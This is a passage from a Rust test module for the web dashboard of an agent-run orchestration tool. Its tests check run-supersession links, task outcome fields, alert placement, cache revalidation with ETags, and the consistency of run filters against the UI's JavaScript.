12961        // correctly, because those are transient) would have hidden
12962        // start/stop/park behind an upgrade notice with no way back short of
12963        // a person editing `upgrade.json` by hand or a later release
12964        // happening to succeed. The failure must instead ride along as a note
12965        // next to whatever control the loop's own state already offers.
12966        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
12967            ..APP_JS.find("function upgrade(").expect("upgrade")];
12968        assert!(
12969            !body.contains(
12970                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
12971            ),
12972            "a failed upgrade must not take the whole strip over the way it used to"
12973        );
12974        assert!(
12975            body.contains("upgradeFailNote"),
12976            "the failure has to reach the loop's own note instead"
12977        );
12978        // `quiet` and `control` are the only two places `loop-why` is set from
12979        // this function's own state; both must carry the note through, or a
12980        // future edit to either one would silently drop it again.
12981        assert_eq!(
12982            body.matches("upgradeFailNote].filter(Boolean).join")
12983                .count(),
12984            2,
12985            "both loop-why writers (quiet and control) must fold the note in"
12986        );
12987    }
12988
12989    #[test]
12990    fn an_overdue_upgrade_eventually_asks_for_a_human() {
12991        // The ceiling has to clear a full hour-long park with room to spare,
12992        // or an ordinary implement wave would be reported as a stuck upgrade.
12993        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
12994        assert!(APP_JS.contains("function upgradeOverdue("));
12995    }
12996
12997    #[test]
12998    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
12999        assert!(
13000            APP_JS.contains("Updated to ${upgradeInfo.to"),
13001            "the operator who asked for the restart wants to know it worked"
13002        );
13003    }
13004
13005    #[test]
13006    fn an_error_is_visible_from_where_the_button_is() {
13007        // The alert used to sit in the flow under the header. On a phone
13008        // scrolled 13 500 px down to a run's action sheet that is off screen,
13009        // so tapping Resume and being told "the loop is running run b455
13010        // right now" looked exactly like a button that did nothing.
13011        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13012            ..APP_CSS.find(".alert-text").expect(".alert-text")];
13013        assert!(
13014            alert.contains("position: fixed"),
13015            "an error about the thing under your thumb has to be visible from \
13016             where your thumb is: {alert}"
13017        );
13018        assert!(
13019            alert.contains("z-index: 25"),
13020            "above the dock (20) and the run-actions FAB (15), so neither \
13021             buries it: {alert}"
13022        );
13023        assert!(
13024            alert.contains("var(--tap)"),
13025            "and clear of the dock and the home indicator: {alert}"
13026        );
13027        // The FAB sits at the same height on the right. An error that covered
13028        // it would hide the button the operator reaches for next.
13029        assert!(
13030            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13031            "the FAB's column stays free: {alert}"
13032        );
13033    }
13034
13035    #[tokio::test]
13036    async fn an_older_attempt_says_what_replaced_it() {
13037        let fx = Fixture::start().await;
13038        let q = fx.queue();
13039        let runs = fx.runs();
13040        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13041        write_run(&runs, first, RunStatus::Stalled);
13042        write_run(&runs, second, RunStatus::Blocked);
13043
13044        let mut t = Task::new(
13045            "one task".to_owned(),
13046            "do it".to_owned(),
13047            PathBuf::from("/repo"),
13048            Source::Human,
13049        );
13050        t.runs = vec![first.to_owned(), second.to_owned()];
13051        q.put(&mut t).expect("put");
13052
13053        // Two cards with the same title and no hint which is which was the
13054        // question: "why are there two of the same, one stalled and one
13055        // blocked?" The older one now names its replacement.
13056        let rows = fx.get("/api/runs").await.json();
13057        let by = |short: &str| -> Value {
13058            rows.as_array()
13059                .unwrap()
13060                .iter()
13061                .find(|r| r["short"] == short)
13062                .cloned()
13063                .unwrap_or(Value::Null)
13064        };
13065        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13066        assert!(
13067            by("bbbb")["superseded_by"].is_null(),
13068            "the latest attempt is not superseded by anything"
13069        );
13070        // Front end: the note has to be rendered, not just carried.
13071        assert!(APP_JS.contains("run.superseded_by"));
13072        assert!(APP_JS.contains("Superseded by"));
13073    }
13074
13075    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13076        let mut t = Task::new(
13077            "one task".to_owned(),
13078            "do it".to_owned(),
13079            PathBuf::from("/repo"),
13080            Source::Human,
13081        );
13082        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13083        t.status = status;
13084        t
13085    }
13086
13087    #[test]
13088    fn source_link_picks_the_page_that_filed_the_task() {
13089        let agent = |node: &str| Source::Agent {
13090            run: "20260904-014455-ab12".to_owned(),
13091            node: node.to_owned(),
13092        };
13093        let chat = source_link(&agent("chat")).expect("chat link");
13094        assert_eq!(chat.kind, "chat");
13095        assert_eq!(chat.id, "20260904-014455-ab12");
13096        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13097        let run = source_link(&agent("implement")).expect("run link");
13098        assert_eq!(
13099            (run.kind, run.href.as_str()),
13100            ("run", "#/runs/20260904-014455-ab12")
13101        );
13102        assert_eq!(source_link(&Source::Human), None);
13103        assert_eq!(
13104            source_link(&Source::Issue {
13105                number: 3,
13106                repo: "o/r".to_owned()
13107            }),
13108            None
13109        );
13110        let odd = source_link(&Source::Agent {
13111            run: "a b/c".to_owned(),
13112            node: "chat".to_owned(),
13113        })
13114        .expect("link");
13115        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13116    }
13117
13118    #[test]
13119    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13120        assert!(
13121            !APP_JS.contains("src.node === \"chat\""),
13122            "inline href rule is back"
13123        );
13124        assert!(
13125            APP_JS.matches("sourceLinkOf(").count() >= 4,
13126            "helper must serve every page"
13127        );
13128        assert!(
13129            APP_JS.matches("openChatLink(").count() >= 3,
13130            "the run page still needs its explicit chat link"
13131        );
13132        assert!(
13133            !APP_JS.contains("const openChat = el("),
13134            "the Queue card duplicates its source label link again"
13135        );
13136        assert!(
13137            APP_JS.contains("metaKids.push(link ? el(\"a\""),
13138            "the task page must link a chat source label too"
13139        );
13140    }
13141
13142    #[test]
13143    fn task_ref_carries_the_source_link_for_a_chat_task() {
13144        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13145        t.source = Source::Agent {
13146            run: "20260904-014455-ab12".to_owned(),
13147            node: "chat".to_owned(),
13148        };
13149        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13150        let v = serde_json::to_value(&out).expect("json");
13151        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13152        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13153        assert_eq!(v["source_label"], t.source.label());
13154
13155        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13156        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13157            .expect("json");
13158        assert!(v["source_link"].is_null(), "{v}");
13159    }
13160
13161    #[test]
13162    fn task_view_serializes_source_link() {
13163        let mut t = Task::new(
13164            "t".to_owned(),
13165            "t".to_owned(),
13166            PathBuf::from("/repo"),
13167            Source::Agent {
13168                run: "20260901-000000-aaaa".to_owned(),
13169                node: "implement".to_owned(),
13170            },
13171        );
13172        t.runs.clear();
13173        let v = serde_json::to_value(TaskView::from(t)).expect("json");
13174        assert_eq!(v["source_link"]["kind"], "run", "{v}");
13175        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13176    }
13177
13178    #[tokio::test]
13179    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13180        let fx = Fixture::start().await;
13181        let runs = fx.runs();
13182        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13183        write_run(&runs, old, RunStatus::Blocked);
13184        write_run(&runs, new, RunStatus::Merged);
13185        let mut t = outcome_task(&[old, new], TaskStatus::Done);
13186        fx.queue().put(&mut t).expect("put");
13187
13188        let view = fx.get(&format!("/api/runs/{old}")).await.json();
13189        let task = &view["task"];
13190        assert_eq!(task["status"], "done");
13191        assert_eq!(task["is_latest"], false);
13192        assert_eq!(task["latest"]["short"], "bbbb");
13193        assert_eq!(task["finished_by"]["id"], new);
13194        assert_eq!(task["finished_by"]["outcome"], "merged");
13195        assert_eq!(task["closed_by_hand"], false);
13196        assert_eq!(view["status"], "blocked", "the run keeps its own status");
13197        assert!(APP_JS.contains("finished_by"));
13198        assert!(APP_JS.contains("superseded by run"));
13199    }
13200
13201    #[tokio::test]
13202    async fn the_latest_run_reports_a_held_task_without_a_successor() {
13203        let fx = Fixture::start().await;
13204        let runs = fx.runs();
13205        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13206        write_run(&runs, old, RunStatus::Stalled);
13207        write_run(&runs, new, RunStatus::Blocked);
13208        let mut t = outcome_task(&[old, new], TaskStatus::Held);
13209        fx.queue().put(&mut t).expect("put");
13210
13211        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13212        assert_eq!(task["status"], "held");
13213        assert_eq!(task["is_latest"], true);
13214        assert!(task["latest"].is_null());
13215        assert!(task["finished_by"].is_null());
13216        assert_eq!(task["closed_by_hand"], false);
13217    }
13218
13219    #[tokio::test]
13220    async fn a_direct_run_has_no_task_outcome() {
13221        let fx = Fixture::start().await;
13222        let runs = fx.runs();
13223        let id = "20260901-000000-aaaa";
13224        write_run(&runs, id, RunStatus::Blocked);
13225        let view = fx.get(&format!("/api/runs/{id}")).await.json();
13226        assert!(view["task"].is_null());
13227    }
13228
13229    #[test]
13230    fn task_outcome_does_not_guess_a_finishing_run() {
13231        let a = "20260901-000000-aaaa";
13232        let b = "20260901-000000-bbbb";
13233        let c = "20260901-000000-cccc";
13234        let dir = tempfile::tempdir().expect("tempdir");
13235        write_run(dir.path(), a, RunStatus::Blocked);
13236        write_run(dir.path(), b, RunStatus::VerifiedNoop);
13237        // `c` has no record: unreadable.
13238        let read = |id: &str| read_run(dir.path(), id).ok();
13239        // Neither a blocked run nor a no-op finished the task; the newest run is
13240        // unreadable and still named.
13241        let t = outcome_task(&[a, b, c], TaskStatus::Done);
13242        let out = task_outcome(&t, a, 3, read);
13243        assert!(out.finished_by.is_none());
13244        assert!(out.closed_by_hand);
13245        let latest = out.latest.expect("latest");
13246        assert_eq!(latest.id, c);
13247        assert_eq!(latest.status, None);
13248        assert_eq!(latest.outcome, "record unreadable");
13249
13250        // A Ready run settles the task as done, so it is named as the finisher.
13251        write_run(dir.path(), c, RunStatus::Ready);
13252        let t = outcome_task(&[a, c], TaskStatus::Done);
13253        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13254        assert_eq!(out.finished_by.expect("finisher").id, c);
13255        assert!(!out.closed_by_hand);
13256
13257        // A resumed run id repeats: it is still the latest by id.
13258        let t = outcome_task(&[a, b, a], TaskStatus::Held);
13259        assert!(task_outcome(&t, a, 3, read).is_latest);
13260    }
13261
13262    #[tokio::test]
13263    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13264        // The list route has known this since the card fix above; the detail
13265        // route — what an operator actually opens from a notification about
13266        // a blocked run — did not, and went on showing a bare red BLOCKED
13267        // chip for a run a retry had already finished.
13268        let fx = Fixture::start().await;
13269        let q = fx.queue();
13270        let runs = fx.runs();
13271        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13272        write_run(&runs, first, RunStatus::Blocked);
13273        write_run(&runs, second, RunStatus::Merged);
13274
13275        let mut t = Task::new(
13276            "one task".to_owned(),
13277            "do it".to_owned(),
13278            PathBuf::from("/repo"),
13279            Source::Human,
13280        );
13281        t.runs = vec![first.to_owned(), second.to_owned()];
13282        q.put(&mut t).expect("put");
13283
13284        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13285        assert_eq!(earlier["superseded_by"], "dddd");
13286        assert_eq!(earlier["latest_attempt"]["id"], second);
13287        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13288        assert_eq!(
13289            earlier["latest_attempt"]["resolved"], true,
13290            "the run that replaced it landed, so this one reads as settled"
13291        );
13292
13293        let later = fx.get(&format!("/api/runs/{second}")).await.json();
13294        assert!(
13295            later["superseded_by"].is_null(),
13296            "the latest attempt is not superseded by anything"
13297        );
13298        assert!(
13299            later["latest_attempt"].is_null(),
13300            "the latest attempt has no later attempt of its own"
13301        );
13302
13303        // Front end: the detail page has to read the field this route now
13304        // carries, downgrade the chip, and link to the run that replaced it —
13305        // not just repeat the list card's own logic under a different name.
13306        // The link is built off `latest_attempt.id`, the server-resolved
13307        // full id, never a bare short string a client would have to guess a
13308        // full run from.
13309        assert!(APP_JS.contains("run.latest_attempt"));
13310        assert!(APP_JS.contains("data-superseded"));
13311        assert!(APP_JS.contains("#/runs/${latest.id}"));
13312    }
13313
13314    #[tokio::test]
13315    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13316        // A -> B -> C, all Blocked except the last. A's immediate successor
13317        // (superseded_by) is B, which is itself unresolved; what an operator
13318        // opening A's page actually needs is where the task's story stands
13319        // *now* - C, not B - without depending on whether C happens to be in
13320        // whatever page of /api/runs the client last cached.
13321        let fx = Fixture::start().await;
13322        let q = fx.queue();
13323        let runs = fx.runs();
13324        let (a, b, c) = (
13325            "20260901-000000-aaaa",
13326            "20260901-000000-bbbb",
13327            "20260901-000000-cccc",
13328        );
13329        write_run(&runs, a, RunStatus::Blocked);
13330        write_run(&runs, b, RunStatus::Blocked);
13331        write_run(&runs, c, RunStatus::Merged);
13332
13333        let mut t = Task::new(
13334            "retried twice".to_owned(),
13335            "do it".to_owned(),
13336            PathBuf::from("/repo"),
13337            Source::Human,
13338        );
13339        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13340        q.put(&mut t).expect("put");
13341
13342        let view = fx.get(&format!("/api/runs/{a}")).await.json();
13343        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13344        assert_eq!(
13345            view["latest_attempt"]["id"], c,
13346            "the chain's current head, not the intermediate Blocked retry"
13347        );
13348        assert_eq!(view["latest_attempt"]["resolved"], true);
13349
13350        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13351        assert_eq!(mid["latest_attempt"]["id"], c);
13352        assert_eq!(mid["latest_attempt"]["resolved"], true);
13353    }
13354
13355    #[tokio::test]
13356    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13357        let fx = Fixture::start().await;
13358        let q = fx.queue();
13359        let runs = fx.runs();
13360
13361        // Still Blocked: the task is not resolved, so the older run must not
13362        // read as settled either.
13363        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13364        write_run(&runs, still_blocked_a, RunStatus::Blocked);
13365        write_run(&runs, still_blocked_b, RunStatus::Blocked);
13366        let mut t1 = Task::new(
13367            "still stuck".to_owned(),
13368            "do it".to_owned(),
13369            PathBuf::from("/repo"),
13370            Source::Human,
13371        );
13372        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13373        q.put(&mut t1).expect("put");
13374        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13375        assert_eq!(view1["latest_attempt"]["resolved"], false);
13376        assert_eq!(view1["latest_attempt"]["status"], "blocked");
13377        assert_eq!(view1["latest_attempt"]["done"], true);
13378
13379        // Still running: the successor exists and must be reported as such.
13380        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13381        write_run(&runs, run_a, RunStatus::Blocked);
13382        write_run(&runs, run_b, RunStatus::Implementing);
13383        let mut t3 = Task::new(
13384            "retrying".to_owned(),
13385            "do it".to_owned(),
13386            PathBuf::from("/repo"),
13387            Source::Human,
13388        );
13389        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13390        q.put(&mut t3).expect("put");
13391        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13392        assert_eq!(view3["latest_attempt"]["id"], run_b);
13393        assert_eq!(view3["latest_attempt"]["resolved"], false);
13394        assert_eq!(view3["latest_attempt"]["done"], false);
13395
13396        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
13397        // to check - not a confirmed finish, so this must not read as
13398        // resolved either, even though the run is done in the sense that
13399        // nothing is still running.
13400        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13401        write_run(&runs, noop_a, RunStatus::Blocked);
13402        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13403        let mut t2 = Task::new(
13404            "claims done".to_owned(),
13405            "do it".to_owned(),
13406            PathBuf::from("/repo"),
13407            Source::Human,
13408        );
13409        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13410        q.put(&mut t2).expect("put");
13411        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13412        assert_eq!(
13413            view2["latest_attempt"]["resolved"], false,
13414            "an unverified no-op claim must not read as a confirmed finish"
13415        );
13416
13417        // Front end: an unresolved successor must not carry the "finished
13418        // this work" note or the muted chip treatment.
13419        assert!(APP_JS.contains("latest.resolved"));
13420        // ...but the link to it shows as soon as it exists, labelled by state
13421        // and without the "finished" wording or the muted chip.
13422        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13423        assert!(APP_JS.contains("Latest attempt: "));
13424        assert!(APP_JS.contains("in flight"));
13425        assert!(APP_JS.contains("not resolved"));
13426    }
13427
13428    #[tokio::test]
13429    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13430        let fx = Fixture::start().await;
13431        // No cache header at all meant browsers invented their own policy,
13432        // and one did: a phone went on showing "Candidates must be folded
13433        // before deleting. Run `magi fold` first." - deleted two releases
13434        // earlier - from a deck that no longer contained the sentence. The
13435        // button it named was right there, and unreachable.
13436        let js = fx.get("/app.js").await;
13437        assert_eq!(js.status, 200);
13438        let tag = js
13439            .header("etag")
13440            .expect("an etag to revalidate against")
13441            .to_owned();
13442        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13443        assert_eq!(
13444            js.header("cache-control"),
13445            Some("no-cache, must-revalidate"),
13446            "the phone has to ask every time"
13447        );
13448
13449        // And the asking has to be cheap, or `must-revalidate` just means
13450        // "send the whole interface on every load".
13451        let again = fx
13452            .get_with("/app.js", &[("if-none-match", tag.as_str())])
13453            .await;
13454        assert_eq!(
13455            again.status, 304,
13456            "a deck it already has costs one round trip"
13457        );
13458        assert!(again.body.is_empty(), "304 carries no body");
13459
13460        // A weakened tag from a proxy still matches; a different build does
13461        // not, which is the case that has to deliver the new interface.
13462        let weak = fx
13463            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13464            .await;
13465        assert_eq!(weak.status, 304);
13466        let stale = fx
13467            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13468            .await;
13469        assert_eq!(stale.status, 200, "an older build must be replaced");
13470        assert!(stale.body.contains("renderRunActions"));
13471    }
13472
13473    #[test]
13474    fn the_task_detail_has_an_actions_fab_and_sheet() {
13475        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13476        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13477        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13478        // Shown only on the task route, closed everywhere else.
13479        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13480        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13481        // Refreshed whenever the detail redraws, including the loading state.
13482        assert!(APP_JS.contains("renderTaskActions(task);"));
13483        assert!(APP_JS.contains("renderTaskActions(null);"));
13484        // Same renderers and routes as the Queue card, no new endpoint.
13485        let sheet = APP_JS
13486            .find("function renderTaskActions")
13487            .expect("sheet renderer");
13488        let body = &APP_JS[sheet..sheet + 3000];
13489        assert!(body.contains("changePriority("));
13490        assert!(body.contains("openTaskEdit(task)"));
13491        assert!(body.contains("renderTaskHoldBox(host"));
13492        assert!(body.contains("renderTaskDoneBox(host"));
13493        assert!(body.contains("renderTaskDeleteBox(host"));
13494        assert!(APP_JS.contains("API.priority(id)"));
13495        assert!(APP_JS.contains("API.deleteTask(id)"));
13496        // A deleted task sends the operator back to the queue.
13497        assert!(APP_JS.contains("location.hash = \"#/queue\""));
13498        // A refusal is shown inside the sheet.
13499        assert!(APP_JS.contains("$(\"task-actions-error\")"));
13500    }
13501
13502    #[test]
13503    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13504        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13505        let actions = INDEX_HTML
13506            .find("id=\"run-actions-box\"")
13507            .expect("actions box");
13508        assert!(task < actions, "the task entry comes first in the sheet");
13509        assert!(APP_JS.contains("renderRunTaskEntry"));
13510        assert!(APP_JS.contains("\"Open task \""));
13511        // A run without a task says why there is nothing to open.
13512        assert!(APP_JS.contains("started directly, no task"));
13513        assert!(APP_JS.contains("sheet-task-link"));
13514        assert!(APP_JS.contains("task-chip-link"));
13515    }
13516
13517    #[test]
13518    fn the_deck_never_sends_the_operator_to_a_terminal() {
13519        // The whole point of the phone UI is that a terminal is not needed.
13520        // The delete control used to answer with "Run `magi fold` first."
13521        assert!(
13522            !APP_JS.contains("Run `magi fold` first"),
13523            "the deck must offer the fold, not prescribe a shell command"
13524        );
13525        assert!(APP_JS.contains("foldRun:"));
13526        assert!(APP_JS.contains("resumeRun:"));
13527        assert!(APP_JS.contains("renderRunActions"));
13528
13529        // Folding is destructive and armed in two steps, like deleting.
13530        assert!(APP_JS.contains("armedFold"));
13531        assert!(APP_JS.contains("Yes, fold worktrees"));
13532
13533        // And the copy has to say that the two actions are opposites, because
13534        // folding throws away exactly what a resume would continue from.
13535        assert!(APP_JS.contains("can no longer be resumed"));
13536    }
13537
13538    #[test]
13539    fn a_finished_run_explains_itself_with_its_own_last_line() {
13540        // The deck used to answer "why did this stop?" with a sentence chosen
13541        // by status alone. Run e633 stalled because two judges answered with
13542        // the wrong JSON shape and its card said "The panel collapsed on
13543        // agent quota" - with `quota: []` in the record and a quota-loss
13544        // counter right above it that correctly said nothing.
13545        assert!(
13546            !APP_JS.contains("collapsed on agent quota"),
13547            "a stall must not be explained by a cause the deck did not check"
13548        );
13549        assert!(
13550            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13551            "and a block must not offer a guess with an `or` in it"
13552        );
13553
13554        // The reason it does have is `run.event`, which must reach finished
13555        // runs: gating it on movement hid the recorded truth at the one moment
13556        // the operator is reading the card to find out what happened.
13557        assert!(
13558            APP_JS.contains("setText(r.event, run.event || \"\")"),
13559            "the run's last line is rendered unconditionally"
13560        );
13561        assert!(
13562            !APP_JS.contains("moving && run.event"),
13563            "and never gated on the run still moving"
13564        );
13565
13566        // Quota keeps its own counter, fed by the number actually recorded.
13567        assert!(APP_JS.contains("lost to quota"));
13568    }
13569
13570    /// The runs tree (section) and the state chips (waiting/done) are two
13571    /// independent lenses ANDed together in `renderRuns`, and some pairings
13572    /// can never both be true for any run - every "Landed"/"Ended" run is
13573    /// done by construction, so pairing either with "Active" or "In flight"
13574    /// always rendered zero cards with the filter bar still claiming
13575    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
13576    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
13577    /// a handful of (waiting, status) shapes standing in for the run
13578    /// lifecycle, because `cargo test` cannot execute the front end.
13579    ///
13580    /// That stand-in list is itself the part that drifted twice in review:
13581    /// once shipped with `waiting: true` paired with a done status the
13582    /// lifecycle cannot produce, then over-corrected into treating every
13583    /// waiting run as never done - which made "Waiting on you" look
13584    /// incompatible with "Done" even for the one real, reachable shape
13585    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
13586    /// that combination. This test parses the shapes and the done-rule back
13587    /// out of `APP_JS`, reimplements `runSection` and the five state
13588    /// predicates independently in Rust, and checks the resulting
13589    /// section/filter compatibility table against the lifecycle rules by
13590    /// hand - so either direction of drift fails it again.
13591    #[test]
13592    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13593        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13594        let shapes_body_start =
13595            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13596        let shapes_close = APP_JS[shapes_body_start..]
13597            .find("].map(")
13598            .expect("the shape list is closed by its done-computing .map(...)")
13599            + shapes_body_start;
13600        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13601
13602        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13603        for entry in shapes_src.split('{').skip(1) {
13604            let waiting = entry.contains("waiting: true");
13605            let dead = entry.contains("live: \"dead\"");
13606            let status_at =
13607                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13608            let status_end = entry[status_at..]
13609                .find('"')
13610                .expect("the status string is closed")
13611                + status_at;
13612            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13613        }
13614        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13615
13616        // The done rule itself (`!["implementing"].includes(shape.status)`),
13617        // read out of the source rather than hardcoded, so a renamed
13618        // in-flight status can't silently make every parsed shape "done".
13619        let done_rule_marker = "done: !";
13620        let done_rule_at = APP_JS[shapes_close..]
13621            .find(done_rule_marker)
13622            .expect("the done rule follows the shape list")
13623            + shapes_close
13624            + done_rule_marker.len();
13625        let includes_at = APP_JS[done_rule_at..]
13626            .find(".includes(shape.status)")
13627            .expect("the done rule ends in .includes(shape.status)")
13628            + done_rule_at;
13629        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13630            .trim()
13631            .trim_start_matches('[')
13632            .trim_end_matches(']')
13633            .split(',')
13634            .map(|s| s.trim().trim_matches('"'))
13635            .filter(|s| !s.is_empty())
13636            .collect();
13637
13638        let shapes: Vec<(bool, String, bool, bool)> = shapes
13639            .into_iter()
13640            .map(|(waiting, status, dead)| {
13641                let done = !not_done.contains(&status.as_str());
13642                (waiting, status, dead, done)
13643            })
13644            .collect();
13645
13646        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
13647        // outright, then merged/ready land, stalled/blocked/failed/
13648        // verified_noop end, and everything else is still in flight.
13649        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13650            if waiting {
13651                return "waiting";
13652            }
13653            if dead
13654                && !matches!(
13655                    status,
13656                    "merged"
13657                        | "ready"
13658                        | "stalled"
13659                        | "blocked"
13660                        | "failed"
13661                        | "verified_noop"
13662                        | "superseded"
13663                        | "already_in_base"
13664                )
13665            {
13666                return "stale";
13667            }
13668            match status {
13669                "merged" | "ready" => "landed",
13670                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13671                | "already_in_base" => "ended",
13672                _ => "flight",
13673            }
13674        }
13675
13676        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
13677        // way.
13678        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13679            match filter_key {
13680                "active" => !done,
13681                "flight" => !done && !waiting && !dead,
13682                "stale" => !done && !waiting && dead,
13683                "waiting" => waiting,
13684                "done" => done,
13685                "all" => true,
13686                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13687            }
13688        }
13689
13690        let compatible = |section: &str, filter_key: &str| {
13691            shapes.iter().any(|(waiting, status, dead, done)| {
13692                run_section(*waiting, status, *dead) == section
13693                    && filter_matches(filter_key, *waiting, *dead, *done)
13694            })
13695        };
13696
13697        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
13698        // (active, flight, stale, waiting, done, all) - hand-derived from the
13699        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
13700        // currently contains.
13701        let expected = [
13702            ("waiting", [true, false, false, true, true, true]),
13703            ("stale", [true, false, true, false, false, true]),
13704            ("flight", [true, true, false, false, false, true]),
13705            ("landed", [false, false, false, false, true, true]),
13706            ("ended", [false, false, false, false, true, true]),
13707        ];
13708        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13709
13710        for (section, wants) in expected {
13711            for (filter_key, want) in filter_keys.iter().zip(wants) {
13712                assert_eq!(
13713                    compatible(section, filter_key),
13714                    want,
13715                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13716                );
13717            }
13718        }
13719
13720        // The compatibility check exists only to be acted on: both pickers
13721        // must actually consult it rather than just render its answer.
13722        assert!(
13723            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13724        );
13725        assert!(APP_JS.contains(
13726            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13727        ));
13728        assert!(APP_JS.contains(
13729            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
13730        ));
13731    }
13732
13733    #[tokio::test]
13734    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
13735        // An operator-named directory - git checkout or not - is never
13736        // second-guessed, even when it does not exist at all: only the
13737        // flag's own unmodified `.` default is ever eligible for discovery.
13738        let dir = tempfile::tempdir().expect("tempdir");
13739        let explicit = dir.path().join("not-a-checkout");
13740        std::fs::create_dir_all(&explicit).expect("create dir");
13741        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
13742
13743        let missing = dir.path().join("does-not-exist-at-all");
13744        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
13745    }
13746}